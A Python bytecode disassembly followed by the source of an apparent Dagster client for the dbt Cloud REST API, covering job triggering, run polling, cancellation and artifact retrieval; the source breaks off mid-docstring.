RETURN_VALUE LOAD_FAST self LOAD_ATTR _log LOAD_METHOD info LOAD_CONST 'Initializing run for job with job_id=' LOAD_FAST job_id FORMAT_VALUE BUILD_STRING CALL_METHOD POP_TOP LOAD_CONST 'cause' LOAD_FAST kwargs COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_CONST 'Triggered via Dagster' LOAD_FAST kwargs LOAD_CONST 'cause' STORE_SUBSCR LOAD_FAST self LOAD_ATTR make_request LOAD_CONST 'POST' LOAD_FAST self LOAD_ATTR _account_id FORMAT_VALUE LOAD_CONST '/jobs/' LOAD_FAST job_id FORMAT_VALUE LOAD_CONST '/run/' BUILD_STRING LOAD_FAST kwargs LOAD_CONST ('data',) CALL_FUNCTION STORE_FAST resp LOAD_FAST resp LOAD_METHOD get LOAD_CONST 'job' BUILD_MAP CALL_METHOD LOAD_METHOD get LOAD_CONST 'triggers' BUILD_MAP CALL_METHOD LOAD_METHOD get LOAD_CONST 'schedule' LOAD_CONST False CALL_METHOD STORE_FAST has_schedule LOAD_FAST has_schedule POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _disable_schedule_on_trigger POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _log LOAD_METHOD info LOAD_CONST 'Disabling dbt Cloud job schedule.' CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR update_job LOAD_FAST job_id LOAD_CONST 'schedule' LOAD_CONST False BUILD_MAP LOAD_CONST ('triggers',) CALL_FUNCTION POP_TOP LOAD_FAST self LOAD_ATTR _log LOAD_METHOD info LOAD_CONST 'Run initialized with run_id=' LOAD_FAST resp LOAD_CONST 'id' BINARY_SUBSCR FORMAT_VALUE LOAD_CONST '. View this run in the dbt Cloud UI: ' LOAD_FAST resp LOAD_CONST 'href' BINARY_SUBSCR FORMAT_VALUE BUILD_STRING CALL_METHOD POP_TOP LOAD_FAST resp RETURN_VALUE LOAD_FAST include_related JUMP_IF_TRUE_OR_POP BUILD_LIST LOAD_FAST order_by LOAD_FAST offset LOAD_FAST limit LOAD_CONST ('include_related', 'order_by', 'offset', 'limit') BUILD_CONST_KEY_MAP STORE_FAST query_dict LOAD_FAST job_id POP_JUMP_IF_FALSE LOAD_FAST job_id LOAD_FAST query_dict LOAD_CONST 'job_definition_id' STORE_SUBSCR LOAD_FAST self LOAD_METHOD make_request LOAD_CONST 'GET' LOAD_FAST self LOAD_ATTR _account_id FORMAT_VALUE LOAD_CONST '/runs/?' LOAD_GLOBAL urlencode LOAD_FAST query_dict CALL_FUNCTION FORMAT_VALUE BUILD_STRING CALL_METHOD RETURN_VALUE LOAD_FAST include_related POP_JUMP_IF_FALSE LOAD_CONST '?include_related=' LOAD_CONST ',' LOAD_METHOD join LOAD_FAST include_related CALL_METHOD FORMAT_VALUE BUILD_STRING JUMP_FORWARD to 22 LOAD_CONST '' STORE_FAST query_params LOAD_FAST self LOAD_METHOD make_request LOAD_CONST 'GET' LOAD_FAST self LOAD_ATTR _account_id FORMAT_VALUE LOAD_CONST '/runs/' LOAD_FAST run_id FORMAT_VALUE LOAD_CONST '/' LOAD_FAST query_params FORMAT_VALUE BUILD_STRING CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_ATTR get_run LOAD_FAST run_id LOAD_CONST 'trigger' LOAD_CONST 'job' BUILD_LIST LOAD_CONST ('include_related',) CALL_FUNCTION STORE_FAST run_details LOAD_FAST run_details LOAD_CONST 'job' BINARY_SUBSCR LOAD_CONST 'execute_steps' BINARY_SUBSCR STORE_FAST steps LOAD_FAST run_details LOAD_CONST 'trigger' BINARY_SUBSCR LOAD_CONST 'steps_override' BINARY_SUBSCR STORE_FAST steps_override LOAD_FAST steps_override JUMP_IF_TRUE_OR_POP LOAD_FAST steps RETURN_VALUE LOAD_FAST self LOAD_ATTR _log LOAD_METHOD info LOAD_CONST "Cancelling run with id '" LOAD_FAST run_id FORMAT_VALUE LOAD_CONST "'" BUILD_STRING CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD make_request LOAD_CONST 'POST' LOAD_FAST self LOAD_ATTR _account_id FORMAT_VALUE LOAD_CONST '/runs/' LOAD_FAST run_id FORMAT_VALUE LOAD_CONST '/cancel/' BUILD_STRING CALL_METHOD RETURN_VALUE LOAD_FAST step POP_JUMP_IF_FALSE LOAD_CONST '?step=' LOAD_FAST step FORMAT_VALUE BUILD_STRING JUMP_FORWARD to 16 LOAD_CONST '' STORE_FAST query_params LOAD_GLOBAL cast LOAD_GLOBAL list LOAD_FAST self LOAD_ATTR make_request LOAD_CONST 'GET' LOAD_FAST self LOAD_ATTR _account_id FORMAT_VALUE LOAD_CONST '/runs/' LOAD_FAST run_id FORMAT_VALUE LOAD_CONST '/artifacts/' LOAD_FAST query_params FORMAT_VALUE BUILD_STRING LOAD_FAST step POP_JUMP_IF_FALSE LOAD_CONST 'step' LOAD_FAST step BUILD_MAP JUMP_FORWARD to 62 LOAD_CONST None LOAD_CONST ('data',) CALL_FUNCTION CALL_FUNCTION RETURN_VALUE LOAD_FAST step POP_JUMP_IF_FALSE LOAD_CONST '?step=' LOAD_FAST step FORMAT_VALUE BUILD_STRING JUMP_FORWARD to 16 LOAD_CONST '' STORE_FAST query_params LOAD_FAST self LOAD_ATTR make_request LOAD_CONST 'GET' LOAD_FAST self LOAD_ATTR _account_id FORMAT_VALUE LOAD_CONST '/runs/' LOAD_FAST run_id FORMAT_VALUE LOAD_CONST '/artifacts/' LOAD_FAST path FORMAT_VALUE LOAD_FAST query_params FORMAT_VALUE BUILD_STRING LOAD_FAST step POP_JUMP_IF_FALSE LOAD_CONST 'step' LOAD_FAST step BUILD_MAP JUMP_FORWARD to 62 LOAD_CONST None LOAD_CONST True LOAD_CONST ('data', 'return_text') CALL_FUNCTION LOAD_CONST 'text' BINARY_SUBSCR RETURN_VALUE LOAD_GLOBAL json LOAD_METHOD loads LOAD_FAST self LOAD_ATTR get_run_artifact LOAD_FAST run_id LOAD_CONST 'manifest.json' LOAD_FAST step LOAD_CONST ('step',) CALL_FUNCTION CALL_METHOD RETURN_VALUE LOAD_GLOBAL json LOAD_METHOD loads LOAD_FAST self LOAD_ATTR get_run_artifact LOAD_FAST run_id LOAD_CONST 'run_results.json' LOAD_FAST step LOAD_CONST ('step',) CALL_FUNCTION CALL_METHOD RETURN_VALUE LOAD_CONST None STORE_FAST status LOAD_FAST href LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD get_run LOAD_FAST run_id CALL_METHOD LOAD_METHOD get LOAD_CONST 'href' CALL_METHOD STORE_FAST href LOAD_GLOBAL isinstance LOAD_FAST href LOAD_GLOBAL str CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError LOAD_CONST 'Run must have an href' CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL datetime LOAD_ATTR datetime LOAD_METHOD now CALL_METHOD STORE_FAST poll_start SETUP_FINALLY to 300 SETUP_LOOP to 296 LOAD_FAST self LOAD_METHOD get_run LOAD_FAST run_id CALL_METHOD STORE_FAST run_details LOAD_FAST run_details LOAD_CONST 'status_humanized' BINARY_SUBSCR STORE_FAST status LOAD_FAST self LOAD_ATTR _log LOAD_METHOD info LOAD_CONST 'Polled run ' LOAD_FAST run_id FORMAT_VALUE LOAD_CONST '. Status: [' LOAD_FAST status FORMAT_VALUE LOAD_CONST ']' BUILD_STRING CALL_METHOD POP_TOP LOAD_FAST status LOAD_GLOBAL DbtCloudRunStatus LOAD_ATTR SUCCESS COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR get_run LOAD_FAST run_id LOAD_CONST 'job' LOAD_CONST 'trigger' LOAD_CONST 'run_steps' BUILD_LIST LOAD_CONST ('include_related',) CALL_FUNCTION RETURN_VALUE LOAD_FAST status LOAD_GLOBAL DbtCloudRunStatus LOAD_ATTR ERROR LOAD_GLOBAL DbtCloudRunStatus LOAD_ATTR CANCELLED BUILD_LIST COMPARE_OP in POP_JUMP_IF_FALSE BREAK_LOOP JUMP_FORWARD to 192 LOAD_FAST status LOAD_GLOBAL DbtCloudRunStatus LOAD_ATTR QUEUED LOAD_GLOBAL DbtCloudRunStatus LOAD_ATTR STARTING LOAD_GLOBAL DbtCloudRunStatus LOAD_ATTR RUNNING BUILD_LIST COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_GLOBAL check LOAD_METHOD failed LOAD_CONST "Received unexpected status '" LOAD_FAST status FORMAT_VALUE LOAD_CONST "'. This should never happen" BUILD_STRING CALL_METHOD POP_TOP LOAD_FAST poll_timeout EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL datetime LOAD_ATTR datetime LOAD_METHOD now CALL_METHOD LOAD_FAST poll_start LOAD_GLOBAL datetime LOAD_ATTR timedelta LOAD_FAST poll_timeout LOAD_CONST ('seconds',) CALL_FUNCTION BINARY_ADD COMPARE_OP > EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD cancel_run LOAD_FAST run_id CALL_METHOD POP_TOP LOAD_GLOBAL Failure LOAD_CONST 'Run ' LOAD_FAST run_id FORMAT_VALUE LOAD_CONST ' timed out after ' LOAD_GLOBAL datetime LOAD_ATTR datetime LOAD_METHOD now CALL_METHOD LOAD_FAST poll_start BINARY_SUBTRACT FORMAT_VALUE LOAD_CONST '. Attempted to cancel.' BUILD_STRING LOAD_CONST 'run_page_url' LOAD_GLOBAL MetadataValue LOAD_METHOD url LOAD_FAST href CALL_METHOD BUILD_MAP LOAD_CONST ('metadata',) CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL time LOAD_METHOD sleep LOAD_FAST poll_interval CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK POP_BLOCK LOAD_CONST None LOAD_FAST status LOAD_GLOBAL DbtCloudRunStatus LOAD_ATTR SUCCESS LOAD_GLOBAL DbtCloudRunStatus LOAD_ATTR ERROR LOAD_GLOBAL DbtCloudRunStatus LOAD_ATTR CANCELLED BUILD_TUPLE COMPARE_OP not in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD cancel_run LOAD_FAST run_id CALL_METHOD POP_TOP END_FINALLY LOAD_FAST self LOAD_ATTR get_run LOAD_FAST run_id LOAD_CONST 'trigger' BUILD_LIST LOAD_CONST ('include_related',) CALL_FUNCTION STORE_FAST run_details LOAD_GLOBAL Failure LOAD_CONST 'Run ' LOAD_FAST run_id FORMAT_VALUE LOAD_CONST ' failed. Status Message: ' LOAD_FAST run_details LOAD_CONST 'status_message' BINARY_SUBSCR FORMAT_VALUE BUILD_STRING LOAD_GLOBAL MetadataValue LOAD_METHOD json LOAD_FAST run_details CALL_METHOD LOAD_GLOBAL MetadataValue LOAD_METHOD url LOAD_FAST href CALL_METHOD LOAD_CONST ('run_details', 'run_page_url') BUILD_CONST_KEY_MAP LOAD_CONST ('metadata',) CALL_FUNCTION RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR run_job LOAD_FAST job_id BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION STORE_FAST run_details LOAD_FAST run_details LOAD_CONST 'id' BINARY_SUBSCR STORE_FAST run_id LOAD_FAST run_details LOAD_CONST 'href' BINARY_SUBSCR STORE_FAST href LOAD_FAST self LOAD_ATTR poll_run LOAD_FAST run_id LOAD_FAST poll_interval LOAD_FAST poll_timeout LOAD_FAST href LOAD_CONST ('poll_interval', 'poll_timeout', 'href') CALL_FUNCTION STORE_FAST final_run_details SETUP_EXCEPT to 64 LOAD_FAST self LOAD_METHOD get_run_results LOAD_FAST run_id CALL_METHOD STORE_FAST run_results POP_BLOCK JUMP_FORWARD to 100 DUP_TOP LOAD_GLOBAL Failure COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_FAST self LOAD_ATTR _log LOAD_METHOD info LOAD_CONST 'run_results.json not available for this run. Defaulting to empty value.' CALL_METHOD POP_TOP BUILD_MAP STORE_FAST run_results POP_EXCEPT JUMP_FORWARD to 100 END_FINALLY LOAD_GLOBAL DbtCloudOutput LOAD_FAST final_run_details LOAD_FAST run_results LOAD_CONST ('run_details', 'result') CALL_FUNCTION STORE_FAST output LOAD_FAST output LOAD_ATTR docs_url POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _log LOAD_METHOD info LOAD_CONST 'Docs for this run can be viewed here: ' LOAD_FAST output LOAD_ATTR docs_url FORMAT_VALUE BUILD_STRING CALL_METHOD POP_TOP LOAD_FAST output RETURN_VALUE LOAD_FAST self LOAD_ATTR make_request LOAD_CONST 'GET' LOAD_FAST self LOAD_ATTR _account_id FORMAT_VALUE LOAD_CONST '/projects/' LOAD_FAST project_id FORMAT_VALUE LOAD_CONST '/environment-variables/job' BUILD_STRING LOAD_CONST 'job_definition_id' LOAD_FAST job_id BUILD_MAP LOAD_FAST self LOAD_ATTR api_v3_base_url LOAD_CONST ('params', 'base_url') CALL_FUNCTION RETURN_VALUE LOAD_FAST self LOAD_ATTR make_request LOAD_CONST 'POST' LOAD_FAST self LOAD_ATTR _account_id FORMAT_VALUE LOAD_CONST '/projects/' LOAD_FAST project_id FORMAT_VALUE LOAD_CONST '/environment-variables/' LOAD_FAST environment_variable_id FORMAT_VALUE BUILD_STRING LOAD_FAST environment_variable_id LOAD_FAST self LOAD_ATTR _account_id LOAD_FAST project_id LOAD_FAST job_id LOAD_CONST 'job' LOAD_FAST name LOAD_FAST value LOAD_CONST ('id', 'account_id', 'project_id', 'job_definition_id', 'type', 'name', 'raw_value') BUILD_CONST_KEY_MAP LOAD_FAST self LOAD_ATTR api_v3_base_url LOAD_CONST ('data', 'base_url') CALL_FUNCTION RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'DbtCloudResource' STORE_NAME __qualname__ LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'DbtCloudClientResource' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST 'This resource helps interact with dbt Cloud connectors.' STORE_NAME __doc__ LOAD_NAME Field LOAD_CONST 'dbt Cloud API Token. User tokens can be found in the [dbt Cloud UI](https://cloud.getdbt.com/#/profile/api/), or see the [dbt Cloud Docs](https://docs.getdbt.com/docs/dbt-cloud/dbt-cloud-api/service-tokens) for instructions on creating a Service Account token.' LOAD_CONST ('description',) CALL_FUNCTION STORE_NAME auth_token LOAD_NAME str LOAD_NAME __annotations__ LOAD_CONST 'auth_token' STORE_SUBSCR LOAD_NAME Field LOAD_CONST 'dbt Cloud Account ID. This value can be found in the url of a variety of views in the dbt Cloud UI, e.g. https://cloud.getdbt.com/#/accounts/{account_id}/settings/.' LOAD_CONST ('description',) CALL_FUNCTION STORE_NAME account_id LOAD_NAME int LOAD_NAME __annotations__ LOAD_CONST 'account_id' STORE_SUBSCR LOAD_NAME Field LOAD_CONST True LOAD_CONST 'Specifies if you would like any job that is triggered using this resource to automatically disable its schedule.' LOAD_CONST ('default', 'description') CALL_FUNCTION STORE_NAME disable_schedule_on_trigger LOAD_NAME bool LOAD_NAME __annotations__ LOAD_CONST 'disable_schedule_on_trigger' STORE_SUBSCR LOAD_NAME Field LOAD_CONST 3 LOAD_CONST 'The maximum number of times requests to the dbt Cloud API should be retried before failing.' LOAD_CONST ('default', 'description') CALL_FUNCTION STORE_NAME request_max_retries LOAD_NAME int LOAD_NAME __annotations__ LOAD_CONST 'request_max_retries' STORE_SUBSCR LOAD_NAME Field LOAD_CONST 0.25 LOAD_CONST 'Time (in seconds) to wait between each request retry.' LOAD_CONST ('default', 'description') CALL_FUNCTION STORE_NAME request_retry_delay LOAD_NAME float LOAD_NAME __annotations__ LOAD_CONST 'request_retry_delay' STORE_SUBSCR LOAD_NAME Field LOAD_NAME DBT_DEFAULT_HOST LOAD_CONST 'The hostname where dbt cloud is being hosted (e.g. https://my_org.cloud.getdbt.com/).' LOAD_CONST ('default', 'description') CALL_FUNCTION STORE_NAME dbt_cloud_host LOAD_NAME str LOAD_NAME __annotations__ LOAD_CONST 'dbt_cloud_host' STORE_SUBSCR LOAD_NAME classmethod LOAD_NAME bool LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object _is_dagster_maintained at 0x7fab4118d270, file "f.py", line 664> LOAD_CONST 'DbtCloudClientResource._is_dagster_maintained' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _is_dagster_maintained LOAD_NAME DbtCloudClient LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object get_dbt_client at 0x7fab4118d030, file "f.py", line 668> LOAD_CONST 'DbtCloudClientResource.get_dbt_client' MAKE_FUNCTION STORE_NAME get_dbt_client LOAD_NAME Any LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object get_object_to_set_on_execution_context at 0x7fab4118d6f0, file "f.py", line 682> LOAD_CONST 'DbtCloudClientResource.get_object_to_set_on_execution_context' MAKE_FUNCTION STORE_NAME get_object_to_set_on_execution_context LOAD_CONST None RETURN_VALUE LOAD_CONST True RETURN_VALUE LOAD_FAST self LOAD_METHOD get_resource_context CALL_METHOD STORE_FAST context LOAD_FAST context LOAD_ATTR log POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL DbtCloudClient LOAD_FAST self LOAD_ATTR auth_token LOAD_FAST self LOAD_ATTR account_id LOAD_FAST self LOAD_ATTR disable_schedule_on_trigger LOAD_FAST self LOAD_ATTR request_max_retries LOAD_FAST self LOAD_ATTR request_retry_delay LOAD_FAST context LOAD_ATTR log LOAD_FAST self LOAD_ATTR dbt_cloud_host LOAD_CONST ('auth_token', 'account_id', 'disable_schedule_on_trigger', 'request_max_retries', 'request_retry_delay', 'log', 'dbt_cloud_host') CALL_FUNCTION RETURN_VALUE LOAD_FAST self LOAD_METHOD get_dbt_client CALL_METHOD RETURN_VALUE LOAD_GLOBAL DbtCloudResource LOAD_FAST context LOAD_ATTR resource_config LOAD_CONST 'auth_token' BINARY_SUBSCR LOAD_FAST context LOAD_ATTR resource_config LOAD_CONST 'account_id' BINARY_SUBSCR LOAD_FAST context LOAD_ATTR resource_config LOAD_CONST 'disable_schedule_on_trigger' BINARY_SUBSCR LOAD_FAST context LOAD_ATTR resource_config LOAD_CONST 'request_max_retries' BINARY_SUBSCR LOAD_FAST context LOAD_ATTR resource_config LOAD_CONST 'request_retry_delay' BINARY_SUBSCR LOAD_FAST context LOAD_ATTR log LOAD_FAST context LOAD_ATTR resource_config LOAD_CONST 'dbt_cloud_host' BINARY_SUBSCR LOAD_CONST ('auth_token', 'account_id', 'disable_schedule_on_trigger', 'request_max_retries', 'request_retry_delay', 'log', 'dbt_cloud_host') CALL_FUNCTION RETURN_VALUE
import datetime import json import logging import time from enum import Enum from typing import Any, Mapping, Optional, Sequence, cast from urllib.parse import urlencode, urljoin import requests from dagster import ( ConfigurableResource, Failure, IAttachDifferentObjectToOpContext, MetadataValue, __version__, _check as check, get_dagster_logger, resource, ) from dagster._core.definitions.resource_definition import dagster_maintained_resource from dagster._utils.merger import deep_merge_dicts from pydantic import Field from requests.exceptions import RequestException from .types import DbtCloudOutput DBT_DEFAULT_HOST = "https://cloud.getdbt.com/" DBT_API_V2_PATH = "api/v2/accounts/" DBT_API_V3_PATH = "api/v3/accounts/" DEFAULT_POLL_INTERVAL = 10 class DbtCloudRunStatus(str, Enum): QUEUED = "Queued" STARTING = "Starting" RUNNING = "Running" SUCCESS = "Success" ERROR = "Error" CANCELLED = "Cancelled" class DbtCloudClient: """This class exposes methods on top of the dbt Cloud REST API v2. For a complete set of documentation on the dbt Cloud Administrative REST API, including expected response JSON schemae, see the `dbt Cloud API Docs <https://docs.getdbt.com/dbt-cloud/api-v2>`_. """ def __init__( self, auth_token: str, account_id: int, disable_schedule_on_trigger: bool = True, request_max_retries: int = 3, request_retry_delay: float = 0.25, dbt_cloud_host: str = DBT_DEFAULT_HOST, log: logging.Logger = get_dagster_logger(), log_requests: bool = False, ): self._auth_token = auth_token self._account_id = account_id self._disable_schedule_on_trigger = disable_schedule_on_trigger self._request_max_retries = request_max_retries self._request_retry_delay = request_retry_delay self._dbt_cloud_host = dbt_cloud_host self._log = log self._log_requests = log_requests @property def api_v2_base_url(self) -> str: return urljoin(self._dbt_cloud_host, DBT_API_V2_PATH) @property def api_v3_base_url(self) -> str: return urljoin(self._dbt_cloud_host, DBT_API_V3_PATH) def build_url_for_job(self, project_id: int, job_id: int) -> str: return urljoin( self._dbt_cloud_host, f"next/deploy/{self._account_id}/projects/{project_id}/jobs/{job_id}/", ) def build_url_for_cloud_docs( self, job_id: int, resource_type: str, unique_id: str ) -> str: return urljoin( self._dbt_cloud_host, f"/accounts/{self._account_id}/jobs/{job_id}/docs/#!/{resource_type}/{unique_id}", ) def make_request( self, method: str, endpoint: str, data: Optional[Mapping[str, Any]] = None, params: Optional[Mapping[str, Any]] = None, return_text: bool = False, base_url: Optional[str] = None, ) -> Any: """Creates and sends a request to the desired dbt Cloud API endpoint. Args: method (str): The http method to use for this request (e.g. "POST", "GET", "PATCH"). endpoint (str): The dbt Cloud API endpoint to send this request to. data (Optional[Mapping[str, Any]]): JSON-formatable data string to be included in the request. params (Optional[Mapping[str, Any]]): Payload to add to query string of the request. return_text (bool): Override default behavior and return unparsed {"text": response.text} blob instead of json. Returns: Dict[str, Any]: Parsed json data from the response to this request """ headers = { "User-Agent": f"dagster-dbt/{__version__}", "Content-Type": "application/json", "Authorization": f"Bearer {self._auth_token}", } base_url = base_url or self.api_v2_base_url url = urljoin(base_url, endpoint) if self._log_requests: self._log.debug(f"Making Request: method={method} url={url} data={data}") num_retries = 0 while True: try: response = requests.request( method=method, url=url, headers=headers, data=json.dumps(data), params=params, ) response.raise_for_status() return ( {"text": response.text} if return_text else response.json()["data"] ) except RequestException as e: self._log.error("Request to dbt Cloud API failed: %s", e) if num_retries == self._request_max_retries: break num_retries += 1 time.sleep(self._request_retry_delay) raise Failure( f"Max retries ({self._request_max_retries}) exceeded with url: {url}." ) def list_jobs( self, project_id: int, order_by: Optional[str] = "-id" ) -> Sequence[Mapping[str, Any]]: """List all dbt jobs in a dbt Cloud project. Args: project_id (int): The ID of the relevant dbt Cloud project. You can find this value by going to your account settings in the dbt Cloud UI. It will be the final number in the url, e.g.: ``https://cloud.getdbt.com/next/settings/accounts/{account_id}/projects/{project_id}/`` order_by (Optional[str]): An identifier designated by dbt Cloud in which to sort the results before returning them. Useful when combined with offset and limit to load runs for a job. Defaults to "-id" where "-" designates reverse order and "id" is the key to filter on. Returns: List[Dict[str, Any]]: Parsed json data from the response to this request """ return self.make_request( "GET", f"{self._account_id}/jobs", params={"project_id": project_id, "order_by": order_by}, ) def get_job(self, job_id: int) -> Mapping[str, Any]: """Gets details about a given dbt job from the dbt Cloud API. Args: job_id (int): The ID of the relevant dbt Cloud job. You can find this value by going to the details page of your job in the dbt Cloud UI. It will be the final number in the url, e.g.: ``https://cloud.getdbt.com/#/accounts/{account_id}/projects/{project_id}/jobs/{job_id}/`` Returns: Dict[str, Any]: Parsed json data from the response to this request """ return self.make_request("GET", f"{self._account_id}/jobs/{job_id}/") def update_job(self, job_id: int, **kwargs) -> Mapping[str, Any]: """Updates specific properties of a dbt job. Documentation on the full set of potential parameters can be found here: https://docs.getdbt.com/dbt-cloud/api-v2#operation/updateJobById. Args: job_id (int): The ID of the relevant dbt Cloud job. You can find this value by going to the details page of your job in the dbt Cloud UI. It will be the final number in the url, e.g.: ``https://cloud.getdbt.com/#/accounts/{account_id}/projects/{project_id}/jobs/{job_id}/`` kwargs: Passed in as the properties to be changed. Returns: Dict[str, Any]: Parsed json data from the response to this request Examples: .. code-block:: python my_dbt_cloud_resource.update_job(12345, triggers={"schedule": False}) """ job_data = self.get_job(job_id) return self.make_request( "POST", f"{self._account_id}/jobs/{job_id}/", data=deep_merge_dicts(job_data, kwargs), ) def run_job(self, job_id: int, **kwargs) -> Mapping[str, Any]: """Initializes a run for a job. Overrides for specific properties can be set by passing in values to the kwargs. A full list of overridable properties can be found here: https://docs.getdbt.com/dbt-cloud/api-v2#operation/triggerRun. Args: job_id (int): The ID of the relevant dbt Cloud job. You can find this value by going to the details page of your job in the dbt Cloud UI. It will be the final number in the url, e.g.: ``https://cloud.getdbt.com/#/accounts/{account_id}/projects/{project_id}/jobs/{job_id}/`` kwargs: Passed in as the properties to be overridden. Returns: Dict[str, Any]: Parsed json data from the response to this request """ self._log.info(f"Initializing run for job with job_id={job_id}") if "cause" not in kwargs: kwargs["cause"] = "Triggered via Dagster" resp = self.make_request( "POST", f"{self._account_id}/jobs/{job_id}/run/", data=kwargs ) has_schedule: bool = ( resp.get("job", {}).get("triggers", {}).get("schedule", False) ) if has_schedule and self._disable_schedule_on_trigger: self._log.info("Disabling dbt Cloud job schedule.") self.update_job(job_id, triggers={"schedule": False}) self._log.info( f"Run initialized with run_id={resp['id']}. View this run in " f"the dbt Cloud UI: {resp['href']}" ) return resp def get_runs( self, include_related: Optional[Sequence[str]] = None, job_id: Optional[int] = None, order_by: Optional[str] = "-id", offset: int = 0, limit: int = 100, ) -> Sequence[Mapping[str, object]]: """Returns a list of runs from dbt Cloud. This can be optionally filtered to a specific job using the job_definition_id. It supports pagination using offset and limit as well and can be configured to load a variety of related information about the runs. Args: include_related (Optional[List[str]]): A list of resources to include in the response from dbt Cloud. This is technically a required field according to the API, but it can be passed with an empty list where it will only load the default run information. Valid values are "trigger", "job", "repository", and "environment". job_definition_id (Optional[int]): This method can be optionally filtered to only load runs for a specific job id if it is included here. If omitted it will pull runs for every job. order_by (Optional[str]): An identifier designated by dbt Cloud in which to sort the results before returning them. Useful when combined with offset and limit to load runs for a job. Defaults to "-id" where "-" designates reverse order and "id" is the key to filter on. offset (int): An offset to apply when listing runs. Can be used to paginate results when combined with order_by and limit. Defaults to 0. limit (int): Limits the amount of rows returned by the API. Defaults to 100. Returns: List[Dict[str, Any]]: A list of dictionaries containing the runs and any included related information. """ query_dict = { "include_related": include_related or [], "order_by": order_by, "offset": offset, "limit": limit, } if job_id: query_dict["job_definition_id"] = job_id return self.make_request( "GET", f"{self._account_id}/runs/?{urlencode(query_dict)}" ) def get_run( self, run_id: int, include_related: Optional[Sequence[str]] = None ) -> Mapping[str, Any]: """Gets details about a specific job run. Args: run_id (int): The ID of the relevant dbt Cloud run. You can find this value by going to the details page of your run in the dbt Cloud UI. It will be the final number in the url, e.g.: ``https://cloud.getdbt.com/#/accounts/{account_id}/projects/{project_id}/runs/{run_id}/`` include_related (List[str]): List of related fields to pull with the run. Valid values are "trigger", "job", and "debug_logs". Returns: Dict[str, Any]: A dictionary containing the parsed contents of the dbt Cloud run details. See: https://docs.getdbt.com/dbt-cloud/api-v2#operation/getRunById for schema. """ query_params = ( f"?include_related={','.join(include_related)}" if include_related else "" ) return self.make_request( "GET", f"{self._account_id}/runs/{run_id}/{query_params}", ) def get_run_steps(self, run_id: int) -> Sequence[str]: """Gets the steps of an initialized dbt Cloud run. Args: run_id (int): The ID of the relevant dbt Cloud run. You can find this value by going to the details page of your run in the dbt Cloud UI. It will be the final number in the url, e.g.: ``https://cloud.getdbt.com/#/accounts/{account_id}/projects/{project_id}/runs/{run_id}/`` Returns: List[str, Any]: List of commands for each step of the run. """ run_details = self.get_run(run_id, include_related=["trigger", "job"]) steps = run_details["job"]["execute_steps"] steps_override = run_details["trigger"]["steps_override"] return steps_override or steps def cancel_run(self, run_id: int) -> Mapping[str, Any]: """Cancels a dbt Cloud run. Args: run_id (int): The ID of the relevant dbt Cloud run. You can find this value by going to the details page of your run in the dbt Cloud UI. It will be the final number in the url, e.g.: ``https://cloud.getdbt.com/#/accounts/{account_id}/projects/{project_id}/runs/{run_id}/`` Returns: Dict[str, Any]: A dictionary containing the parsed contents of the dbt Cloud run details. See: https://docs.getdbt.com/dbt-cloud/api-v2#operation/getRunById for schema. """ self._log.info(f"Cancelling run with id '{run_id}'") return self.make_request("POST", f"{self._account_id}/runs/{run_id}/cancel/") def list_run_artifacts( self, run_id: int, step: Optional[int] = None ) -> Sequence[str]: """Lists the paths of the available run artifacts from a completed dbt Cloud run. Args: run_id (int): The ID of the relevant dbt Cloud run. You can find this value by going to the details page of your run in the dbt Cloud UI. It will be the final number in the url, e.g.: ``https://cloud.getdbt.com/#/accounts/{account_id}/projects/{project_id}/runs/{run_id}/`` step (int): The index of the step in the run to query for artifacts. The first step in the run has the index 1. If the step parameter is omitted, then this endpoint will return the artifacts compiled for the last step in the run Returns: List[str]: List of the paths of the available run artifacts """ query_params = f"?step={step}" if step else "" return cast( list, self.make_request( "GET", f"{self._account_id}/runs/{run_id}/artifacts/{query_params}", data={"step": step} if step else None, ), ) def get_run_artifact( self, run_id: int, path: str, step: Optional[int] = None ) -> str: """The string contents of a run artifact from a dbt Cloud run. Args: run_id (int): The ID of the relevant dbt Cloud run. You can find this value by going to the details page of your run in the dbt Cloud UI. It will be the final number in the url, e.g.: ``https://cloud.getdbt.com/#/accounts/{account_id}/projects/{project_id}/runs/{run_id}/`` path (str): The path to this run artifact (e.g. 'run/my_new_project/models/example/my_first_dbt_model.sql') step (int): The index of the step in the run to query for artifacts. The first step in the run has the index 1. If the step parameter is omitted, then this endpoint will return the artifacts compiled for the last step in the run. Returns: List[str]: List of the names of the available run artifacts """ query_params = f"?step={step}" if step else "" return self.make_request( "GET", f"{self._account_id}/runs/{run_id}/artifacts/{path}{query_params}", data={"step": step} if step else None, return_text=True, )["text"] def get_manifest( self, run_id: int, step: Optional[int] = None ) -> Mapping[str, Any]: """The parsed contents of a manifest.json file created by a completed run. Args: run_id (int): The ID of the relevant dbt Cloud run. 